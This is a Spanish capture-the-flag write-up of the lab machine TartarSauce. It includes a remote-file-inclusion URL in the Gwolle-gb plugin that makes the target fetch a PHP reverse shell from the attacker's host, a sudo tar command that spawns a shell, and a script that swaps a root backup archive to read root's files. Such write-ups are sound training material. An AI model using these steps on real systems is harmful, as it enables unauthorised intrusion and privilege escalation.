Tartarsauce - WriteUp
🎯 Machine Info
Acerca de la salsa tártara
TartarSauce es un cuadro bastante desafiante que resalta la importancia de una enumeración remota amplia en lugar de centrarse en vectores de ataque obvios pero potencialmente menos fructíferos. Presenta una escalada de privilegios bastante realista que requiere abusos del comando tar. La atención al detalle al revisar el resultado de la herramienta es beneficiosa al probar esta máquina.
Skills:
- RFI (Remote File Inclusion) - Abusing Wordpress Plugin [Gwolle-gb]
RFI to RCE (Creating our malicious PHP file)
- Abusing Sudoers Privilege (Tar Command)
- Abusing Cron Job (Privilege Escalation) [Code Analysis] [Bash Scripting]
ENUM
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.94SVN scan initiated Tue Feb 13 11:05:51 2024 as: nmap -sCV -p 80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xs
l -oN targeted -oX targetedXML 10.129.1.185
Nmap scan report for 10.129.1.185
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Landing Page
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
ROBOTS.TXT
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/
Probamos con admin/admin y entramos…
Con todos estos datos y al estar autenticados vamos a buscar un exploit que nos pueda dar acceso a la máquina.
Intento unos cuantos exploit más pero parecen no funcionar. Vamosa enumerar más por si encontramos algo que en principio no hemos visto. Parece un rabbit hole…
FUZZING
1
2
3
4
5
gobuster dir -u 'http://10.129.1.185' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --no-error --add-slash
/icons/ (Status: 403) [Size: 293]
/webservices/ (Status: 403) [Size: 299]
/server-status/ (Status: 403) [Size: 301]
1
2
3
gobuster dir -u 'http://10.129.1.185/webservices' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --no-error --add-slash
/wp/ (Status: 200) [Size: 11237]
Descubrimos que tiene una ruta de WordPress, vamos a seguir por esta vía.
Tenemos que añadir el dominio tartarsauce.htb porque el propio WordPres intenta un redirección.
Y efectivamente, tenemos un WordPress.
EXPLOTACIÓN
Pasamos WPSCAN
1
$ wpscan --url http://tartarsauce.htb/webservices/wp/ --enumerate ap,u,t --api-token=$WPSCAN --force
1
2
3
4
5
6
7
...
[+] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[i] User(s) Identified:
[+] wpadmin
...
Vamos a asegurarnos de que no existen plugins porque no me lo creo.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -p80 tartarsauce.htb --script http-wordpress-enum --script-args http-wordpress-enum.root='/webservices/wp',search-limit=1000
PORT STATE SERVICE
80/tcp open http
| http-wordpress-enum:
| Search limited to top 1000 themes/plugins
| themes
| twentyfifteen 1.9
| twentysixteen 1.4
| twentyseventeen 1.4
| plugins
| akismet 4.0.3
|_ gwolle-gb 2.3.10
Pues al final sí que tenía plugins, para fiarte de WPSCAN…
Vamos a buscar si podemos explotarlos.
Tenemos un RFI que consiste en lo siguiente:
1
2
3
El parámetro HTTP GET "abspath" no se desinfecta adecuadamente antes de usarse en la función PHP require(). Un atacante remoto puede incluir un archivo llamado 'wp-load.php' desde un servidor remoto arbitrario y ejecutar su contenido en el servidor web vulnerable. Para hacerlo, el atacante debe colocar un archivo malicioso 'wp-load.php' en la raíz de documentos de su servidor e incluir la URL del servidor en la solicitud:
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
Ok pues vamos a crear un archivo malicioso PHP que nos de una reverse shell y lo renombraremos a wp-load.php y lo compartiremos desde nuestra máquina con un servidor http simple con Python.
Nos ponemos a la escucha por el puerto que hayamos configurado en el archivo PHP y escribimos la siguiente URL en el navegador:
1
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.87/
Y padentro… Yo he usado penelope como listener pero se puede usar NetCat tranquilamente…
MOVIMIENTO LATERAL
Vemos que el usuario onuma puede ejecutar como root el binario /bin/tar. Es un vector fácil de explotar.
Vamos a escalar al usuario onuma de la manera que nos ofrece GTFObins https://gtfobins.github.io/gtfobins/tar/#sudo:
1
$ sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Pues ya somo onuma…
Registramos bandera y seguimos.
ESCALADA
Pasamos el PSPY y nos muestra esto:
El usuario root ejecuta una tarea con el script o binario backuperer y luego lo borra.
Vamos a ver qué hace ese script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
Analicemos este script paso a paso (generado por IA):
Encabezado y comentarios:
- El script comienza con
#!/bin/bash, que indica que se ejecutará en el intérprete de comandos Bash. - A continuación, hay una serie de comentarios que proporcionan información sobre el propósito y la versión del script.
- El script comienza con
Variables:
- Se definen varias variables:
basedir: Ruta al directorio raíz de la aplicación web.bkpdir: Ruta al directorio de copias de seguridad.tmpdir: Ruta al directorio temporal.testmsgyerrormsg: Archivos de texto para mensajes de prueba y errores.tmpfile: Nombre de archivo temporal generado aleatoriamente.check: Directorio de verificación.
- Se definen varias variables:
Función
printbdr:- Define una función llamada
printbdrque imprime un borde de guiones en la consola.
- Define una función llamada
Creación de un archivo de prueba:
- Se crea un archivo de prueba llamado
onuma_backup_test.txtque registra la última vez que se ejecutó la copia de seguridad.
- Se crea un archivo de prueba llamado
Limpieza previa:
- Se eliminan archivos temporales y el directorio de verificación de la ejecución anterior.
Copia de seguridad de los archivos de desarrollo del sitio web “onuma”:
- Se crea un archivo comprimido (tar) que contiene los archivos del directorio raíz de la aplicación web.
- Se utiliza
sudopara ejecutar el comando como el usuario “onuma”.
Espera para completar la copia de seguridad:
- Se agrega un retraso de 30 segundos para esperar a que la copia de seguridad se complete, especialmente si hay archivos grandes.
Verificación de integridad de la copia de seguridad:
- Se define la función
integrity_chkque compara los archivos en el directorio raíz de la aplicación web con los archivos en el directorio de verificación. - Si hay diferencias, se registra un error en el archivo de errores.
- Se define la función
Finalización del proceso:
- Si no hay errores de integridad, se mueve el archivo temporal a la ubicación de la copia de seguridad final.
- Se eliminan los archivos temporales y el directorio de verificación.
En resumen, este script realiza una copia de seguridad de los archivos de desarrollo de la aplicación web “onuma”, verifica su integridad y guarda la copia de seguridad en un directorio específico. Es importante tener en cuenta que este script debe ejecutarse con precaución, ya que tiene acceso a archivos importantes y puede afectar la integridad del sistema.
AHORA EL CAMBIAZO…
Creamos un script que capture el nombre del archivo generado comprimido del backup y lo cambiamos por uno nuestro que tiene dentro un enlace simbólico de /root/root.txt > index.html lo volvemos a comprimir y lo subimos en la carpeta donde ejecutemos este script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
function ctrl_c() {
echo -e "\n\n[+] Saliendo...\n"
exit 1
}
trap ctrl_c INT
echo -e "[+] Leyendo el directorio /var/tmp/..."
while true; do
filename="$(ls -la /var/tmp/ | grep -oP '\.\w{40}')"
if [ -n "$filename" ]; then
echo -e "\n[+] El archivo se ha encontrado: $filename\n"
rm -f /var/tmp/$filename
cp webpacked.tar /var/tmp/$filename
echo -e "[+] Se ha copiado el archivo 'webpacked.tar' al directorio '/var/tmp/'\n"
exit 0
fi
sleep 1 # Espera 1 segundo antes de volver a verificar
done
Esperamos dos minutos y visualizamos el contenido del archivo /var/backups/onuma_backup_error.txt
Máquina conseguida!
Última actualización: 2025-01-30
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0














